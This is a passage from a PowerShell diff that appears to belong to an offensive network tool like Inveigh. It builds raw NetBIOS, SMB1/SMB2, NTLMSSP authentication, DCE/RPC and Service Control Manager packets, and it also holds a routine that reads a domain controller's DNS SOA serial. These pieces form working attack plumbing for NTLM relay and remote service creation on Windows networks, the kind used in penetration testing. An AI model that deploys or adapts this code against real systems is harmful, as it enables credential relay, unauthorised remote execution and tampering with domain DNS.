$DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_client.Close() + $DNS_client_stream.Close() + + if($DNS_client_receive[9] -eq 0) + { + $inveigh.output_queue.Add("[-] $Zone SOA record not found") > $null + } + else + { + $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) + $DNS_reply_converted = $DNS_reply_converted -replace "-","" + $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") + $SOA_answer_index = $SOA_answer_index / 2 + $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] + $SOA_length = Convert-DataToUInt16 $SOA_length + [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] + $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + 1 + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] + } + + } + catch + { + $inveigh.output_queue.Add("[-] $DomainController did not respond on TCP port 53") > $null + } + + return [Byte[]]$SOA_serial_number_array + } + +} + +# Packet Functions ScriptBlock +$packet_functions_scriptblock = +{ + function ConvertFrom-PacketOrderedDictionary + { + param($OrderedDictionary) + + ForEach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function Get-ProcessIDArray + { + $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id + $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) + [Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $process_ID + } + + + #NetBIOS + + function New-PacketNetBIOSSessionService + { + param([Int]$HeaderLength,[Int]$DataLength) + + [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] + + $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) + $NetBIOSSessionService.Add("Length",$length) + + return $NetBIOSSessionService + } + + #SMB1 + + function New-PacketSMBHeader + { + param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) + + $ProcessID = $ProcessID[0,1] + + $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $SMBHeader.Add("Command",$Command) + $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $SMBHeader.Add("Reserved",[Byte[]](0x00)) + $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Flags",$Flags) + $SMBHeader.Add("Flags2",$Flags2) + $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMBHeader.Add("TreeID",$TreeID) + $SMBHeader.Add("ProcessID",$ProcessID) + $SMBHeader.Add("UserID",$UserID) + $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $SMBHeader + } + function New-PacketSMBNegotiateProtocolRequest + { + param([String]$Version) + + if($Version -eq 'SMB1') + { + [Byte[]]$byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$byte_count = 0x22,0x00 + } + + $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($version -ne 'SMB1') + { + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $SMBNegotiateProtocolRequest + } + + #SMB2 + + function New-PacketSMB2Header + { + param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) + + if($Signing) + { + $flags = 0x08,0x00,0x00,0x00 + } + else + { + $flags = 0x00,0x00,0x00,0x00 + } + + [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) + + if($message_ID.Length -eq 4) + { + $message_ID += 0x00,0x00,0x00,0x00 + } + + $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Command",$Command) + $SMB2Header.Add("CreditRequest",$CreditRequest) + $SMB2Header.Add("Flags",$flags) + $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2Header.Add("MessageID",$message_ID) + $SMB2Header.Add("ProcessID",$ProcessID) + $SMB2Header.Add("TreeID",$TreeID) + $SMB2Header.Add("SessionID",$SessionID) + $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $SMB2Header + } + + function New-PacketSMB2NegotiateProtocolRequest + { + $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $SMB2NegotiateProtocolRequest + } + + function New-PacketSMB2SessionSetupRequest + { + param([Byte[]]$SecurityBlob) + + [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] + + $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) + $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) + + return $SMB2SessionSetupRequest + } + + function New-PacketSMB2TreeConnectRequest + { + param([Byte[]]$Buffer) + + [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] + + $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $SMB2TreeConnectRequest.Add("PathLength",$path_length) + $SMB2TreeConnectRequest.Add("Buffer",$Buffer) + + return $SMB2TreeConnectRequest + } + + function New-PacketSMB2CreateRequestFile + { + param([Byte[]]$NamedPipe) + + $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] + + $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) + $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) + $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) + $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) + $SMB2CreateRequestFile.Add("NameLength",$name_length) + $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("Buffer",$NamedPipe) + + return $SMB2CreateRequestFile + } + + function New-PacketSMB2ReadRequest + { + param ([Byte[]]$FileID) + + $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) + $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("FileID",$FileID) + $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $SMB2ReadRequest + } + + function New-PacketSMB2WriteRequest + { + param([Byte[]]$FileID,[Int]$RPCLength) + + [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) + + $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $SMB2WriteRequest.Add("Length",$write_length) + $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("FileID",$FileID) + $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SMB2WriteRequest + } + + function New-PacketSMB2CloseRequest + { + param ([Byte[]]$FileID) + + $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CloseRequest.Add("FileID",$FileID) + + return $SMB2CloseRequest + } + + function New-PacketSMB2TreeDisconnectRequest + { + $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $SMB2TreeDisconnectRequest + } + + function New-PacketSMB2SessionLogoffRequest + { + $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $SMB2SessionLogoffRequest + } + + function New-PacketSMB2QueryInfoRequest + { + param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer) + + [Byte[]]$buffer_bytes = ,0x00 * $Buffer + + $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) + $SMB2QueryInfoRequest.Add("InfoType",$InfoType) + $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass) + $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength) + $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset) + $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("FileID",$FileID) + + if($Buffer -gt 0) + { + $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes) + } + + return $SMB2QueryInfoRequest + } + + function New-PacketSMB2IoctlRequest +{ + param([Byte[]]$Function,[Byte[]]$FileName,[Int]$Length,[Int]$OutSize) + + [Byte[]]$indata_length = [System.BitConverter]::GetBytes($Length + 24) + [Byte[]]$out_size = [System.BitConverter]::GetBytes($OutSize) + + $SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2IoctlRequest.Add("Function",$Function) + $SMB2IoctlRequest.Add("GUIDHandle",$FileName) + $SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("InData_Length",$indata_length) + $SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("MaxIoctlOutSize",$out_size) + $SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + + if($out_size -eq 40) + { + $SMB2IoctlRequest.Add("InData_Capabilities",[Byte[]](0x7f,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("InData_ClientGUID",[Byte[]](0xc7,0x11,0x73,0x1e,0xa5,0x7d,0x39,0x47,0xaf,0x92,0x2d,0x88,0xc0,0x44,0xb1,0x1e)) + $SMB2IoctlRequest.Add("InData_SecurityMode",[Byte[]](0x01)) + $SMB2IoctlRequest.Add("InData_Unknown",[Byte[]](0x00)) + $SMB2IoctlRequest.Add("InData_DialectCount",[Byte[]](0x02,0x00)) + $SMB2IoctlRequest.Add("InData_Dialect",[Byte[]](0x02,0x02)) + $SMB2IoctlRequest.Add("InData_Dialect2",[Byte[]](0x10,0x02)) + } + + return $SMB2IoctlRequest +} + + #NTLM + + function New-PacketNTLMSSPNegotiate + { + param([Byte[]]$NegotiateFlags,[Byte[]]$Version) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] + [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 + [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 + [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 + [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 + + $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) + $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) + $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) + $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) + $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) + $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($Version) + { + $NTLMSSPNegotiate.Add("Version",$Version) + } + + return $NTLMSSPNegotiate + } + + function New-PacketNTLMSSPAuth + { + param([Byte[]]$NTLMResponse) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] + [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] + [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] + [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] + + $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) + $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) + $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) + $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) + + return $NTLMSSPAuth + } + + #RPC + + function New-PacketRPCBind + { + param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion) + + [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID) + + $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $RPCBind.Add("Version",[Byte[]](0x05)) + $RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $RPCBind.Add("PacketType",[Byte[]](0x0b)) + $RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $RPCBind.Add("FragLength",$FragLength) + $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $RPCBind.Add("CallID",$call_ID) + $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $RPCBind.Add("NumCtxItems",$NumCtxItems) + $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $RPCBind.Add("ContextID",$ContextID) + $RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $RPCBind.Add("Unknown2",[Byte[]](0x00)) + $RPCBind.Add("Interface",$UUID) + $RPCBind.Add("InterfaceVer",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($NumCtxItems[0] -eq 2) + { + $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $RPCBind.Add("Unknown3",[Byte[]](0x00)) + $RPCBind.Add("Interface2",$UUID) + $RPCBind.Add("InterfaceVer2",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($NumCtxItems[0] -eq 3) + { + $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $RPCBind.Add("Unknown3",[Byte[]](0x00)) + $RPCBind.Add("Interface2",$UUID) + $RPCBind.Add("InterfaceVer2",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $RPCBind.Add("Unknown4",[Byte[]](0x00)) + $RPCBind.Add("Interface3",$UUID) + $RPCBind.Add("InterfaceVer3",$UUIDVersion) + $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + } + + if($call_ID -eq 3) + { + $RPCBind.Add("AuthType",[Byte[]](0x0a)) + $RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $RPCBind + } + + function New-PacketRPCRequest + { + param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data) + + if($AuthLength -gt 0) + { + $full_auth_length = $AuthLength + $AuthPadding + 8 + } + + [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length) + [Byte[]]$frag_length = $write_length[0,1] + [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length) + [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1] + + $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $RPCRequest.Add("Version",[Byte[]](0x05)) + $RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $RPCRequest.Add("PacketType",[Byte[]](0x00)) + $RPCRequest.Add("PacketFlags",$Flags) + $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $RPCRequest.Add("FragLength",$frag_length) + $RPCRequest.Add("AuthLength",$auth_length) + $RPCRequest.Add("CallID",$CallID) + $RPCRequest.Add("AllocHint",$alloc_hint) + $RPCRequest.Add("ContextID",$ContextID) + $RPCRequest.Add("Opnum",$Opnum) + + if($data.Length) + { + $RPCRequest.Add("Data",$Data) + } + + return $RPCRequest + } + + #SCM + + function New-PacketSCMOpenSCManagerW + { + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + 